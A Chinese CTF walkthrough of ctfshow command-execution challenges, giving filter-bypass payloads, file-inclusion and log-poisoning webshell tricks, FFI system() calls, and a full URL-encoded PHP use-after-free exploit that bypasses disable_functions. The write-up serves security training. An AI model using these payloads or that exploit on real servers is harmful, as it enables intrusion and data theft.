CTFSHOW入门-命令执行
Web29
关键字过滤绕过
1 | if(isset($_GET['c'])){ |
由于是过滤了flag我们直接利用通配符?号也可以利用*号,最后拓展一个不常用的就是还可以利用正则
1 | ?c=system('ls'); |
然后查看源代码即可
Web30
关键字过滤绕过
1 | if(isset($_GET['c'])){ |
由于是过滤了/flag|system|php/在这php和flag都可以用通配符绕过,但是函数没办法用通配符,当然我们可以用以下函数代替system来执行
1 | ?c=passthru('ls'); |
Web31
关键字过滤绕过
1 | if(isset($_GET['c'])){ |
根据web30随便选一个没被过滤的就行然后就是cat,空格,单引号
1 | ?c=passthru("less%09fla?????"); |
Linux 查看文件内容命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、awk
更多用法参考https://www.cnblogs.com/IFS-/p/17580701.html
Web32-36
更多关键字过滤
我们可以利用文件包含解决
1 | ?c=include$_GET[1] &1=php://filter/convert.base64-encode/resource=flag.php |
Web37-38
方法一
由于提供的是include我们可以先尝试是否可以包含日志,常见路径是/var/log/nginx/access.log
发现是可以包含的,那么我们就可以在user_agent中写入一句话木马包含即可
方法二
include包含文件,我们可以利用php伪协议中的data://text/plain去执行代码,在这我是把伪协议的东西理解为一个类文本,他是可以被包含进来的,那么我们只需要写入
1 | ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== |
即可达到效果
Web39
1 | if(isset($_GET['c'])){ |
虽然他会拼接一个.php但是我们如果利用
1 | ?c=data://text/plain,<?php system('cat fl?g.php');?> |
结尾的?>就相当于闭合了所以.php并不会干扰代码的运行
Web40
无参数命令执行
1 | if(isset($_GET['c'])){ |
这里相当于是只允许数字和英文括号还有分号,要联想到无参数rce的知识
解法一
1 | getcwd() 函数返回当前工作目录。它可以代替pos(localeconv()) |
1 | ?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv()))))); |
解法二
可以利用php的一些特性就是你这边发过去的东西也会先被php给保存当他不使用的时候才会被清除掉也就是相当于下次请求
当我们传入一个数据相当于定义了一个常量在里面他是可以被同步的其它代码给使用的,这也是存在变量覆盖的原因之一
我们可以测试一下看看效果
当我们把数据定义在post中时他是在_POST这个数组内部
当我们定义在get中他就在_GET中
当我们利用next()时他的指针就会跳到下一个数组中
此时我们只需要能取出来这个东西然后用eval包裹来执行他就可以了;但是要注意像?c=print_r(next(get_defined_vars()));这种写法并不行,因为此时他还是个数组并不能输出这个东西可以尝试打印一下
但是当我们利用current()函数之后他可以把这个数组里的值输出给我们,此时就是一个字符串就可以被执行
那就很明了了直接eval()包裹执行查看源码就行
其实无参数rce很多解法,更多的你们可以去搜一下,可以请求头执行;可以cookie执行命令
Web41
未过滤 [或 | ] 运算符
大家去看看羽师傅的文章就行了
https://blog.csdn.net/miuzzx/article/details/108569080
Web42-44
干扰数据导致无法正常利用
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
在这很明显我们不需要用到后面这个东西就可以执行我们想要的了
1 | ; //分号 |
1 | 可以利用结尾符;也可以换行符%0a还可以是||这种运算符也可以是& |
1 | ?c=tac fl*|| |
Web45-49
在这主要是过滤了空格我们可以利用很多方式绕过
1 | ?c=tac%09f*|| //%09就是tab键 |
Web50-51
命令关键字过滤
1 | 50 |
在这有个很有意思的地方就是如果你用<>去替换掉空格,此时你如果利用tac命令并且后面的文件名还是用的?作为替换的话,那么你就会发现他生成了一个又?的文件但是如果你单独使用<就不会生成,但是还是不是输出内容,后面的文件名必须是完整的,可以利用占位符去绕过例如’’ ->这是俩单引号
如果命令被过滤也可以用占位符\
1 | ?c=ta\c<fla''g.php|| |
Web52
1 | if(isset($_GET['c'])){ |
1 | ?c=ta\c${IFS}fla''g.php|| |
Web53
1 | if(isset($_GET['c'])){ |
1 | nl${IFS}fla''g.php |
Web54
奇怪的过滤
中间这些个很多的星号的,其实是,含有cat,more这样的会被匹配,如cat那么ca32t或c2a3kt, 凡是按序出现了cat 都被匹配。 这时,我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。
1 | if(isset($_GET['c'])){ |
1 | ?c=/bin/?at${IFS}f??????? |
Web55
无字母bash命令执行
1 | if(isset($_GET['c'])){ |
在看到过滤了字母但是没过滤通配符要考虑使用数字和通配符来解决这个问题,在linux系统中存在着/bin/base64 这个命令可以把文件以base64的形式读取出来,那么我们可以构造
1 | /???/????64 ????.??? |
Web56
php文件临时存储特性
去看文章吧大佬们
https://blog.csdn.net/qq_46091464/article/details/108513145
Web57
取反构造数字
1 | if(isset($_GET['c'])){ |
通过$(())操作构造出36: $(()) :代表做一次运算,因为里面为空,也表示值为0
$(( ~$(()) )) :对0作取反运算,值为-1
$(( $((~$(()))) $((~$(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2
$(( ~$(( $((~$(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1
故我们在$(( ~$(( )) ))里面放37个$((~$(()))),得到-37,取反即可得到36
在这贴一个别人的python脚本
1 | get_reverse_number = "$((~$(({}))))" # 取反操作 |
最终
1 | $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
Web58-70
在配置层面禁用函数
只能是尝试利用可能没被禁用的函数
先利用无参数rce里面用到的函数读取文件名
1 | c=var_dump(scandir("/")); |
解法一
很明显highlight_file()并没有被禁用,当然还有
1 | show_source() |
都可以替换var_dump()作为读取flag的函数
解法二
尝试利用伪协议进行文件读取,前提是include()没被禁用
1 | c=include($_POST['z']);&z=php://filter/convert.base64-encode/resource=flag.php |
Web71
程序清除缓冲区
根据源代码
$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容
用exit()/die()提前结束程序
c=var_export(scandir(‘/‘));exit();
c=include(“/flag.txt”);die();
Web72
目录扫描,发现只有权限扫当前目录下的文件尝试使用 scandir() 函数来扫描根目录,但由于 open_basedir 限制,这个操作被禁止了。
open_basedir 是 PHP 的一个安全配置指令,用来限制 PHP 脚本只能访问特定的目录。
当前配置只允许访问 /var/www/html/ 目录及其子目录,但不允许访问其他目录。
博主表示没资格评价去看看被人的吧
使用 glob:// 伪协议绕过 open_basedir,读取根目录下的文件,payload:
1 | c= |
1 | c= |
url传入
1 | c=%3f%3e%3c%3fphp%0apwn(%22ls+%2f%3bcat+%2fflag0.txt%22)%3b%0a%0afunction+pwn(%24cmd)+%7b%0a++++global+%24abc%2c+%24helper%2c+%24backtrace%3b%0a++++class+Vuln+%7b%0a++++++++public+%24a%3b%0a++++++++public+function+__destruct()+%7b+%0a++++++++++++global+%24backtrace%3b+%0a++++++++++++unset(%24this-%3ea)%3b%0a++++++++++++%24backtrace+%3d+(new+Exception)-%3egetTrace()%3b+%23+%3b)%0a++++++++++++if(!isset(%24backtrace%5b1%5d%5b%27args%27%5d))+%7b+%23+PHP+%3e%3d+7.4%0a++++++++++++++++%24backtrace+%3d+debug_backtrace()%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++class+Helper+%7b%0a++++++++public+%24a%2c+%24b%2c+%24c%2c+%24d%3b%0a++++%7d%0a%0a++++function+str2ptr(%26%24str%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++%24address+%3d+0%3b%0a++++++++for(%24j+%3d+%24s-1%3b+%24j+%3e%3d+0%3b+%24j--)+%7b%0a++++++++++++%24address+%3c%3c%3d+8%3b%0a++++++++++++%24address+%7c%3d+ord(%24str%5b%24p%2b%24j%5d)%3b%0a++++++++%7d%0a++++++++return+%24address%3b%0a++++%7d%0a%0a++++function+ptr2str(%24ptr%2c+%24m+%3d+8)+%7b%0a++++++++%24out+%3d+%22%22%3b%0a++++++++for+(%24i%3d0%3b+%24i+%3c+%24m%3b+%24i%2b%2b)+%7b%0a++++++++++++%24out+.%3d+sprintf(%27%25c%27%2c%24ptr+%26+0xff)%3b%0a++++++++++++%24ptr+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++++++return+%24out%3b%0a++++%7d%0a%0a++++function+write(%26%24str%2c+%24p%2c+%24v%2c+%24n+%3d+8)+%7b%0a++++++++%24i+%3d+0%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24n%3b+%24i%2b%2b)+%7b%0a++++++++++++%24str%5b%24p+%2b+%24i%5d+%3d+sprintf(%27%25c%27%2c%24v+%26+0xff)%3b%0a++++++++++++%24v+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+leak(%24addr%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++global+%24abc%2c+%24helper%3b%0a++++++++write(%24abc%2c+0x68%2c+%24addr+%2b+%24p+-+0x10)%3b%0a++++++++%24leak+%3d+strlen(%24helper-%3ea)%3b%0a++++++++if(%24s+!%3d+8)+%7b+%24leak+%25%3d+2+%3c%3c+(%24s+*+8)+-+1%3b+%7d%0a++++++++return+%24leak%3b%0a++++%7d%0a%0a++++function+parse_elf(%24base)+%7b%0a++++++++%24e_type+%3d+leak(%24base%2c+0x10%2c+2)%3b%0a%0a++++++++%24e_phoff+%3d+leak(%24base%2c+0x20)%3b%0a++++++++%24e_phentsize+%3d+leak(%24base%2c+0x36%2c+2)%3b%0a++++++++%24e_phnum+%3d+leak(%24base%2c+0x38%2c+2)%3b%0a%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24e_phnum%3b+%24i%2b%2b)+%7b%0a++++++++++++%24header+%3d+%24base+%2b+%24e_phoff+%2b+%24i+*+%24e_phentsize%3b%0a++++++++++++%24p_type++%3d+leak(%24header%2c+0%2c+4)%3b%0a++++++++++++%24p_flags+%3d+leak(%24header%2c+4%2c+4)%3b%0a++++++++++++%24p_vaddr+%3d+leak(%24header%2c+0x10)%3b%0a++++++++++++%24p_memsz+%3d+leak(%24header%2c+0x28)%3b%0a%0a++++++++++++if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+6)+%7b+%23+PT_LOAD%2c+PF_Read_Write%0a++++++++++++++++%23+handle+pie%0a++++++++++++++++%24data_addr+%3d+%24e_type+%3d%3d+2+%3f+%24p_vaddr+%3a+%24base+%2b+%24p_vaddr%3b%0a++++++++++++++++%24data_size+%3d+%24p_memsz%3b%0a++++++++++++%7d+else+if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+5)+%7b+%23+PT_LOAD%2c+PF_Read_exec%0a++++++++++++++++%24text_size+%3d+%24p_memsz%3b%0a++++++++++++%7d%0a++++++++%7d%0a%0a++++++++if(!%24data_addr+%7c%7c+!%24text_size+%7c%7c+!%24data_size)%0a++++++++++++return+false%3b%0a%0a++++++++return+%5b%24data_addr%2c+%24text_size%2c+%24data_size%5d%3b%0a++++%7d%0a%0a++++function+get_basic_funcs(%24base%2c+%24elf)+%7b%0a++++++++list(%24data_addr%2c+%24text_size%2c+%24data_size)+%3d+%24elf%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24data_size+%2f+8%3b+%24i%2b%2b)+%7b%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+%24i+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27constant%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x746e6174736e6f63)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+(%24i+%2b+4)+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27bin2hex%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x786568326e6962)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++return+%24data_addr+%2b+%24i+*+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_binary_base(%24binary_leak)+%7b%0a++++++++%24base+%3d+0%3b%0a++++++++%24start+%3d+%24binary_leak+%26+0xfffffffffffff000%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+0x1000%3b+%24i%2b%2b)+%7b%0a++++++++++++%24addr+%3d+%24start+-+0x1000+*+%24i%3b%0a++++++++++++%24leak+%3d+leak(%24addr%2c+0%2c+7)%3b%0a++++++++++++if(%24leak+%3d%3d+0x10102464c457f)+%7b+%23+ELF+header%0a++++++++++++++++return+%24addr%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_system(%24basic_funcs)+%7b%0a++++++++%24addr+%3d+%24basic_funcs%3b%0a++++++++do+%7b%0a++++++++++++%24f_entry+%3d+leak(%24addr)%3b%0a++++++++++++%24f_name+%3d+leak(%24f_entry%2c+0%2c+6)%3b%0a%0a++++++++++++if(%24f_name+%3d%3d+0x6d6574737973)+%7b+%23+system%0a++++++++++++++++return+leak(%24addr+%2b+8)%3b%0a++++++++++++%7d%0a++++++++++++%24addr+%2b%3d+0x20%3b%0a++++++++%7d+while(%24f_entry+!%3d+0)%3b%0a++++++++return+false%3b%0a++++%7d%0a%0a++++function+trigger_uaf(%24arg)+%7b%0a++++++++%23+str_shuffle+prevents+opcache+string+interning%0a++++++++%24arg+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a++++++++%24vuln+%3d+new+Vuln()%3b%0a++++++++%24vuln-%3ea+%3d+%24arg%3b%0a++++%7d%0a%0a++++if(stristr(PHP_OS%2c+%27WIN%27))+%7b%0a++++++++die(%27This+PoC+is+for+*nix+systems+only.%27)%3b%0a++++%7d%0a%0a++++%24n_alloc+%3d+10%3b+%23+increase+this+value+if+UAF+fails%0a++++%24contiguous+%3d+%5b%5d%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+%24n_alloc%3b+%24i%2b%2b)%0a++++++++%24contiguous%5b%5d+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a%0a++++trigger_uaf(%27x%27)%3b%0a++++%24abc+%3d+%24backtrace%5b1%5d%5b%27args%27%5d%5b0%5d%3b%0a%0a++++%24helper+%3d+new+Helper%3b%0a++++%24helper-%3eb+%3d+function+(%24x)+%7b+%7d%3b%0a%0a++++if(strlen(%24abc)+%3d%3d+79+%7c%7c+strlen(%24abc)+%3d%3d+0)+%7b%0a++++++++die(%22UAF+failed%22)%3b%0a++++%7d%0a%0a++++%23+leaks%0a++++%24closure_handlers+%3d+str2ptr(%24abc%2c+0)%3b%0a++++%24php_heap+%3d+str2ptr(%24abc%2c+0x58)%3b%0a++++%24abc_addr+%3d+%24php_heap+-+0xc8%3b%0a%0a++++%23+fake+value%0a++++write(%24abc%2c+0x60%2c+2)%3b%0a++++write(%24abc%2c+0x70%2c+6)%3b%0a%0a++++%23+fake+reference%0a++++write(%24abc%2c+0x10%2c+%24abc_addr+%2b+0x60)%3b%0a++++write(%24abc%2c+0x18%2c+0xa)%3b%0a%0a++++%24closure_obj+%3d+str2ptr(%24abc%2c+0x20)%3b%0a%0a++++%24binary_leak+%3d+leak(%24closure_handlers%2c+8)%3b%0a++++if(!(%24base+%3d+get_binary_base(%24binary_leak)))+%7b%0a++++++++die(%22Couldn%27t+determine+binary+base+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24elf+%3d+parse_elf(%24base)))+%7b%0a++++++++die(%22Couldn%27t+parse+ELF+header%22)%3b%0a++++%7d%0a%0a++++if(!(%24basic_funcs+%3d+get_basic_funcs(%24base%2c+%24elf)))+%7b%0a++++++++die(%22Couldn%27t+get+basic_functions+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24zif_system+%3d+get_system(%24basic_funcs)))+%7b%0a++++++++die(%22Couldn%27t+get+zif_system+address%22)%3b%0a++++%7d%0a%0a++++%23+fake+closure+object%0a++++%24fake_obj_offset+%3d+0xd0%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+0x110%3b+%24i+%2b%3d+8)+%7b%0a++++++++write(%24abc%2c+%24fake_obj_offset+%2b+%24i%2c+leak(%24closure_obj%2c+%24i))%3b%0a++++%7d%0a%0a++++%23+pwn%0a++++write(%24abc%2c+0x20%2c+%24abc_addr+%2b+%24fake_obj_offset)%3b%0a++++write(%24abc%2c+0xd0+%2b+0x38%2c+1%2c+4)%3b+%23+internal+func+type%0a++++write(%24abc%2c+0xd0+%2b+0x68%2c+%24zif_system)%3b+%23+internal+func+handler%0a%0a++++(%24helper-%3eb)(%24cmd)%3b%0a++++exit()%3b%0a%7d |
注意如果浏览器hackbar传参发现不出来,就开抓包从抓包软件里面去传这个数据就可以了
Web73-74
仍然可以先扫描
1 | c=$a=new DirectoryIterator("glob:///*"); |
和上一个不同的是这个题支持扫描根目录和直接使用 include 进行包含:
1 | c=include('/flagc.txt');exit(0); |
Web75-76
利用php预存代码机制尝试利用数据库读取数据]
使用 glob协议绕过 open_basedir,读取根目录下的文件
1 | c=$a=new DirectoryIterator("glob:///*"); |
存在 flag36.txt
利用 mysql load_file 读文件,提示中是从数据库 ctftraining 中查询的,就算我们不知道这个数据库名,也可以直接从默认的 information_schema 中查,该数据库包含了所有的数据库的内容。
1 | c=try { |
解释
1 | try { |
$dbh 是数据库连接句柄(database handle),它是通过 new PDO 创建的,用于与数据库进行交互。
PDO(PHP Data Objects)是PHP中的一个扩展,它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务,使数据库操作更安全和高效。
DSN(数据源名称,Data Source Name)是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定,即 ‘mysql:host=localhost;dbname=information_schema’。这个字符串包含了数据库类型(mysql)、主机名(localhost)和数据库名称(information_schema)。
foreach 是PHP中的一个控制结构,用于遍历数组或对象。在上面payload中,foreach 用于遍历SQL查询的结果集(由 $dbh->query 返回),并处理每一行的数据。
当然我们也可以查一下有哪些数据库:
1 | c=$dsn = "mysql:host=localhost;dbname=information_schema"; |
1 | // 数据源名称(DSN),指定数据库类型、主机名和数据库名称 |
我们还可以继续查 ctftraining 数据库下的所有表:
1 | c=$dsn = "mysql:host=localhost;dbname=information_schema"; |
存在一个名为 FLAG_TABLE 的表,查该表下的列名:
1 | c=$dsn = "mysql:host=localhost;dbname=information_schema"; |
1 | }exit(); |
得到列名为 FLAG_COLUMN ,查询具体字段信息:
1 | c=$dsn = "mysql:host=localhost;dbname=ctftraining"; |
发现查不了了,智能通上面直接load_file()
https://blog.csdn.net/Myon5/article/details/140099168
Web77
用 PHP 中的 FFI(Foreign Function Interface)可以调用c语言
读取根目录后发现存在 flag36x.txt 和 readflag
用 PHP 中的 FFI(Foreign Function Interface)来调用 C 语言的 system 函数,并执行一个 Shell 命令。
1 | $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 |
FFI::cdef 方法用于定义 C 函数原型,其中 int system(const char *command); 是 C 语言中 system 函数的声明。system 函数接受一个字符串参数(即Shell命令),并在系统的命令行中执行该命令;
之后执行 /readflag 程序并将其输出重定向到文件 1.txt;
通过 FFI 对象 $ffi 调用了前面定义的 system 函数,并传递了字符串变量 $a 作为参数。也就是说,实际执行的是 Shell 命令 /readflag > 1.txt,效果是在系统中运行 /readflag 程序,并将其输出结果保存到当前目录下的 1.txt 文件中。
我们先来试一下,payload:
1 | c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a); |
之后访问 1.txt,即可看到 flag
接下来我们说一下为什么读取 flag36x.txt 不行
我们先尝试读一下,构造 payload:
1 | c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /flag36x.txt> 2.txt';$ffi->system($a); |
之后访问 2.txt,发现是空白,没有任何内容:
看一下根目录下文件的权限:
1 | c=$ffi = FFI::cdef("int system(const char *command);");$a='ls -l / > 3.txt';$ffi->system($a); |
访问 3.txt 查看执行结果:
先看 flag36x.txt:-r—r——- 1 root root 46 Jul 1 07:19 flag36x.txt
第一个字符 - 表示这是一个普通文件。
接下来的三个字符 r— 表示文件所有者(root)具有读取权限,但没有写入或执行权限。
后面的三个字符 r— 表示文件所属组(root组)具有读取权限,但没有写入或执行权限。
最后的三个字符 —- 表示其他用户没有任何权限(既没有读取、写入、也没有执行权限)。
我们现在很显然是www-data
用户 www-data 并不属于文件 flag36x.txt 的所有者(root 用户),也不属于文件所属组(root 组)。因此,根据文件的权限设置,www-data 用户无法读取 flag36x.txt 文件的内容。
而对于 readflag:-r-sr-xr-x 1 root root 8392 Sep 16 2020 readflag
第一个字符 - 表示这是一个普通文件。
接下来的三个字符 r-s 表示文件所有者(root)具有读取和执行权限,并且设置了SUID权限位。
后面的三个字符 r-x 表示文件所属组(root组)具有读取和执行权限,但没有写入权限。
再后面的三个字符 r-x 表示其他用户具有读取和执行权限,但没有写入权限。
搬不动了兄弟们直接去看大佬写的吧
https://blog.csdn.net/Myon5/article/details/140099168
Web118
调用环境变量构造我们想要的参数
这个题真实环境测试起来会很不容易,具体可以去看看jocker的b站视频
https://www.bilibili.com/video/BV1jy4y1a7Ew?p=53&vd_source=26fc034ceb89f80b845328dd1a4608c5
环境变量切片得到所能使用的字母执行命令
1 | $PWD和${PWD} 表示当前所在的目录 /var/www/html |
1 | code=${PATH:~A}${PWD:~A} ????.??? |
Web119
上一个的用不了了
1 | ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.??? |
还有
1 | code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}${IFS}????.??? |
Web120-124
要疯了真的有点不好搞
https://blog.csdn.net/2301_81040377/article/details/137331682
谁说ctfshow简单的?站出来